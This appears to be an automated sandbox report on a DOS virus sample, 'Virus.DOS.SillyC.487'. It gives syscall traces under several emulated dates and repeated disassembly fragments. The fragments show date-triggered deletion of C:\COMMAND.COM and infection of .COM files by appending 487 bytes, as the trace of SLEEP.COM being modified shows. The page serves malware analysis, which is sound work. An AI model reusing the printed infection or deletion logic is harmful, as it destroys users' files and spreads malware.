Sample viewer

vx.netlux.org/Virus.DOS.SillyC.487

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:10:26.029905291Z 42 PC: 12ee3 | Get date 0x12ee3: cmp dx, 0x61d
0x12ee7: jl 0x12ef2
0x12ee9: lea dx, word ptr [bp + 0x137]
0x12eed: mov ah, 0x41
0x12eef: int 0x21
0x12ef1: ret
0x12ef2: call 0x22e68
0x12ef5: mov ah, 0x4e
0x12ef7: mov cx, 0x27
0x12efa: lea dx, word ptr [bp + 0x131]
0x12efe: int 0x21
0x12f00: jae 0x12f0e
0x12f02: jmp 0x12fe1
0x12f05: mov ah, 0x4f
0x12f07: int 0x21
0x12f09: jae 0x12f0e
0x12f0b: jmp 0x12fe1
0x12f0e: mov ax, word ptr [bp + 0x120]
0x12f12: cmp ax, 0xfe0b
0x12f15: ja 0x12f05
2018-12-17T23:10:26.033034047Z 65 PC: 12ef1 | Delete file (Filename = 'C:\COMMAND.COM')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16854,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:54:06.019262665Z 42 PC: 12ee3 | Get date 0x12ee3: cmp dx, 0x61d
0x12ee7: jl 0x12ef2
0x12ee9: lea dx, word ptr [bp + 0x137]
0x12eed: mov ah, 0x41
0x12eef: int 0x21
0x12ef1: ret
0x12ef2: call 0x22e68
0x12ef5: mov ah, 0x4e
0x12ef7: mov cx, 0x27
0x12efa: lea dx, word ptr [bp + 0x131]
0x12efe: int 0x21
0x12f00: jae 0x12f0e
0x12f02: jmp 0x12fe1
0x12f05: mov ah, 0x4f
0x12f07: int 0x21
0x12f09: jae 0x12f0e
0x12f0b: jmp 0x12fe1
0x12f0e: mov ax, word ptr [bp + 0x120]
0x12f12: cmp ax, 0xfe0b
0x12f15: ja 0x12f05
2018-12-25T12:54:06.021865916Z 26 PC: 12e91 | Set disk transfer address
2018-12-25T12:54:06.023928115Z 78 PC: 12f00 | Find first file
2018-12-25T12:54:06.030674387Z 67 PC: 12eb5 | Get or set file attributes
2018-12-25T12:54:06.049309212Z 61 PC: 12f2f | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:54:06.057595162Z 66 PC: 12f42 | Move file pointer
2018-12-25T12:54:06.059206509Z 63 PC: 12f4f | Read file or device (Read 6 bytes on handle 5)
2018-12-25T12:54:06.067202981Z 66 PC: 12f6f | Move file pointer
2018-12-25T12:54:06.069758635Z 64 PC: 12f7c | Write file or device (Write 6 bytes on handle 5)
2018-12-25T12:54:06.073111909Z 66 PC: 12f8a | Move file pointer
2018-12-25T12:54:06.075668475Z 64 PC: 12faa | Write file or device (Write 487 bytes on handle 5)
2018-12-25T12:54:06.286492934Z 87 PC: 12fbc | Get or set file date and time
2018-12-25T12:54:06.288404363Z 62 PC: 12fc4 | Close file
2018-12-25T12:54:06.42247375Z 67 PC: 12fde | Get or set file attributes
2018-12-25T12:54:06.437437238Z 79 PC: 12f09 | Find next file
2018-12-25T12:54:06.445199589Z 79 PC: 12f09 | Find next file (See above)
2018-12-25T12:54:06.48060796Z 79 PC: 12f09 | Find next file (See above)
2018-12-25T12:54:06.483454247Z 79 PC: 12f09 | Find next file (See above)
2018-12-25T12:54:06.487073146Z 79 PC: 12f09 | Find next file (See above)
2018-12-25T12:54:06.489926211Z 67 PC: 12eb5 | Get or set file attributes (See above)
2018-12-25T12:54:06.499613031Z 61 PC: 12f2f | Open file (See above)
2018-12-25T12:54:06.508878161Z 66 PC: 12f42 | Move file pointer (See above)
2018-12-25T12:54:06.512673819Z 63 PC: 12f4f | Read file or device (See above)
2018-12-25T12:54:06.53191494Z 66 PC: 12f6f | Move file pointer (See above)
2018-12-25T12:54:06.534878842Z 64 PC: 12f7c | Write file or device (See above)
2018-12-25T12:54:06.538607466Z 66 PC: 12f8a | Move file pointer (See above)
2018-12-25T12:54:06.541175171Z 64 PC: 12faa | Write file or device (See above)
2018-12-25T12:54:06.551400883Z 87 PC: 12fbc | Get or set file date and time (See above)
2018-12-25T12:54:06.553845726Z 62 PC: 12fc4 | Close file (See above)
2018-12-25T12:54:06.563495277Z 67 PC: 12fde | Get or set file attributes (See above)
2018-12-25T12:54:06.574952707Z 79 PC: 12f09 | Find next file (See above)
2018-12-25T12:54:06.578972298Z 79 PC: 12f09 | Find next file (See above)
2018-12-25T12:54:06.582091435Z 67 PC: 12eb5 | Get or set file attributes (See above)
2018-12-25T12:54:06.593137955Z 61 PC: 12f2f | Open file (See above)
2018-12-25T12:54:06.601994907Z 66 PC: 12f42 | Move file pointer (See above)
2018-12-25T12:54:06.603836567Z 63 PC: 12f4f | Read file or device (See above)
2018-12-25T12:54:06.616704714Z 87 PC: 12fbc | Get or set file date and time (See above)
2018-12-25T12:54:06.61932615Z 62 PC: 12fc4 | Close file (See above)
2018-12-25T12:54:06.625864417Z 67 PC: 12fde | Get or set file attributes (See above)
2018-12-25T12:54:06.6370586Z 79 PC: 12f09 | Find next file (See above)
2018-12-25T12:54:06.640879332Z 26 PC: 12fe8 | Set disk transfer address

{"DateBased":true,"Day":29,"Month":6,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16854,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:54:06.049556874Z 42 PC: 12ee3 | Get date 0x12ee3: cmp dx, 0x61d
0x12ee7: jl 0x12ef2
0x12ee9: lea dx, word ptr [bp + 0x137]
0x12eed: mov ah, 0x41
0x12eef: int 0x21
0x12ef1: ret
0x12ef2: call 0x22e68
0x12ef5: mov ah, 0x4e
0x12ef7: mov cx, 0x27
0x12efa: lea dx, word ptr [bp + 0x131]
0x12efe: int 0x21
0x12f00: jae 0x12f0e
0x12f02: jmp 0x12fe1
0x12f05: mov ah, 0x4f
0x12f07: int 0x21
0x12f09: jae 0x12f0e
0x12f0b: jmp 0x12fe1
0x12f0e: mov ax, word ptr [bp + 0x120]
0x12f12: cmp ax, 0xfe0b
0x12f15: ja 0x12f05
2018-12-25T12:54:06.052642893Z 65 PC: 12ef1 | Delete file (Filename = 'C:\COMMAND.COM')